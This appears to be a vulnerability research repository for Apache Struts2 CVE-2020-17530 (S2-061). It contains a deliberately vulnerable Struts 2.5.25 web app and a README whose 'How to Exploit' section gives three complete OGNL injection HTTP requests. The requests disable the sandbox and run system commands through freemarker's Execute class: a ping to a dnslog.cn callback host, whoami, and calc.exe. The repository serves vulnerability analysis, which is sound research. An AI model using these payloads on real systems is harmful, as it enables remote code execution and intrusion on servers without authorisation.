├── CVE-2020-17530
├── SimpleStruts.iml
├── pom.xml
└── src
│ └── main
│ ├── java
│ └── org
│ │ └── heptagram
│ │ └── action
│ │ └── IndexAction.java
│ ├── resources
│ └── struts.xml
│ └── webapp
│ ├── S2061.jsp
│ ├── WEB-INF
│ └── web.xml
│ └── index.jsp
├── README.md
└── image
├── DNSLog.png
├── SSRF.png
├── calc_1.png
├── calc_2.jpg
├── simpletst.png
└── system_command.png
/CVE-2020-17530/SimpleStruts.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
--------------------------------------------------------------------------------
/CVE-2020-17530/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
5 | 4.0.0
6 |
7 | SimpleStruts
8 | SimpleStruts
9 | 1.0-SNAPSHOT
10 | war
11 |
12 | SimpleStruts Maven Webapp
13 |
14 | http://www.example.com
15 |
16 |
17 | UTF-8
18 | 1.8
19 | 1.8
20 |
21 |
22 |
23 |
24 | junit
25 | junit
26 | 4.11
27 | test
28 |
29 |
30 | org.apache.struts
31 | struts2-core
32 | 2.5.25
33 |
34 |
35 | commons-collections
36 | commons-collections
37 | 3.2.2
38 |
39 |
40 |
41 | SimpleStruts
42 |
43 |
44 |
45 | maven-clean-plugin
46 | 3.1.0
47 |
48 |
49 |
50 | maven-resources-plugin
51 | 3.0.2
52 |
53 |
54 | maven-compiler-plugin
55 | 3.8.0
56 |
57 |
58 | maven-surefire-plugin
59 | 2.22.1
60 |
61 |
62 | maven-war-plugin
63 | 3.2.2
64 |
65 |
66 | maven-install-plugin
67 | 2.5.2
68 |
69 |
70 | maven-deploy-plugin
71 | 2.8.2
72 |
73 |
74 |
75 |
76 |
77 |
--------------------------------------------------------------------------------
/CVE-2020-17530/src/main/java/org/heptagram/action/IndexAction.java:
--------------------------------------------------------------------------------
1 | package org.heptagram.action;
2 |
3 | import com.opensymphony.xwork2.ActionSupport;
4 | public class IndexAction extends ActionSupport {
5 |
6 | private String id;
7 |
8 | public String getId() {
9 | return id;
10 | }
11 | public void setId(String id) {
12 | this.id = id;
13 | }
14 | public String Test(){
15 | return SUCCESS;
16 | }
17 | }
18 |
--------------------------------------------------------------------------------
/CVE-2020-17530/src/main/resources/struts.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 |
6 |
7 |
8 |
9 |
10 |
11 | S2061.jsp
12 |
13 |
14 |
15 |
16 |
--------------------------------------------------------------------------------
/CVE-2020-17530/src/main/webapp/S2061.jsp:
--------------------------------------------------------------------------------
1 | <%@ page
2 | language="java"
3 | contentType="text/html; charset=UTF-8"
4 | pageEncoding="UTF-8" %>
5 | <%@ taglib prefix="s" uri="/struts-tags" %>
6 |
7 |
8 | S2061
9 |
10 |
11 | SimpleTest
12 |
13 |
--------------------------------------------------------------------------------
/CVE-2020-17530/src/main/webapp/WEB-INF/web.xml:
--------------------------------------------------------------------------------
1 |
4 |
5 |
6 | Archetype Created Web Application
7 |
8 | struts2
9 |
10 | org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter
11 |
12 |
13 |
14 | struts2
15 | /*
16 |
17 |
18 |
--------------------------------------------------------------------------------
/CVE-2020-17530/src/main/webapp/index.jsp:
--------------------------------------------------------------------------------
1 |
2 |
3 | Hello
4 |
5 |
6 | Hello World!
7 |
8 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | ## What's this
2 | This is a Simple test Project for S2-061 which can be used to analysis the detail of this vulnerability.
3 |
4 | ## How to use
5 |
6 | Step 1:Use IDEA import this project
7 |
8 | Step 2:setup tomcat Server
9 |
10 | Step 3:Use browser access "http://192.168.174.149:8080/SimpleStruts_war_exploded/S2061.action?id=%25%7b8%2a8%7d"
11 |
12 | 
13 |
14 | ### How to Exploit
15 |
16 | ##### SSRF Test
17 |
18 | ~~~
19 | POST /SimpleStruts_war_exploded/S2061.action HTTP/1.1
20 | Host: 192.168.174.149:8080
21 | User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
22 | Accept-Encoding: gzip, deflate
23 | Accept-Language: zh-CN,zh;q=0.9
24 | Cookie: JSESSIONID=0DD7F8E6B11D062C574037318DC36C2D
25 | Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
26 | Content-Length: 846
27 |
28 | ------WebKitFormBoundaryl7d1B1aGsV2wcZwF
29 | Content-Disposition: form-data; name="id"
30 |
31 | %{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("ping 4ofoqe.dnslog.cn")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
32 | ------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
33 | ~~~
34 |
35 | 
36 |
37 | DNSLog:
38 |
39 | 
40 |
41 | ##### System command
42 |
43 | ~~~
44 | POST /SimpleStruts_war_exploded/S2061.action HTTP/1.1
45 | Host: 192.168.174.149:8080
46 | User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
47 | Accept-Encoding: gzip, deflate
48 | Accept-Language: zh-CN,zh;q=0.9
49 | Cookie: JSESSIONID=0DD7F8E6B11D062C574037318DC36C2D
50 | Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
51 | Content-Length: 831
52 |
53 | ------WebKitFormBoundaryl7d1B1aGsV2wcZwF
54 | Content-Disposition: form-data; name="id"
55 |
56 | %{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("whoami")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
57 | ------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
58 | ~~~
59 |
60 | 
61 |
62 | ##### execute calc
63 |
64 | ~~~
65 | POST /SimpleStruts_war_exploded/S2061.action HTTP/1.1
66 | Host: 192.168.174.149:8080
67 | User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
68 | Accept-Encoding: gzip, deflate
69 | Accept-Language: zh-CN,zh;q=0.9
70 | Cookie: JSESSIONID=0DD7F8E6B11D062C574037318DC36C2D
71 | Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
72 | Content-Length: 833
73 |
74 | ------WebKitFormBoundaryl7d1B1aGsV2wcZwF
75 | Content-Disposition: form-data; name="id"
76 |
77 | %{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("calc.exe")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
78 | ------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
79 | ~~~
80 |
81 | 
82 |
83 | result:
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
--------------------------------------------------------------------------------
/image/DNSLog.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Al1ex/CVE-2020-17530/2ecf245505f72eac7ee4fcf1efeeb819910b0f67/image/DNSLog.png
--------------------------------------------------------------------------------
/image/SSRF.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Al1ex/CVE-2020-17530/2ecf245505f72eac7ee4fcf1efeeb819910b0f67/image/SSRF.png
--------------------------------------------------------------------------------
/image/calc_1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Al1ex/CVE-2020-17530/2ecf245505f72eac7ee4fcf1efeeb819910b0f67/image/calc_1.png
--------------------------------------------------------------------------------
/image/calc_2.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Al1ex/CVE-2020-17530/2ecf245505f72eac7ee4fcf1efeeb819910b0f67/image/calc_2.jpg
--------------------------------------------------------------------------------
/image/simpletst.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Al1ex/CVE-2020-17530/2ecf245505f72eac7ee4fcf1efeeb819910b0f67/image/simpletst.png
--------------------------------------------------------------------------------
/image/system_command.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Al1ex/CVE-2020-17530/2ecf245505f72eac7ee4fcf1efeeb819910b0f67/image/system_command.png
--------------------------------------------------------------------------------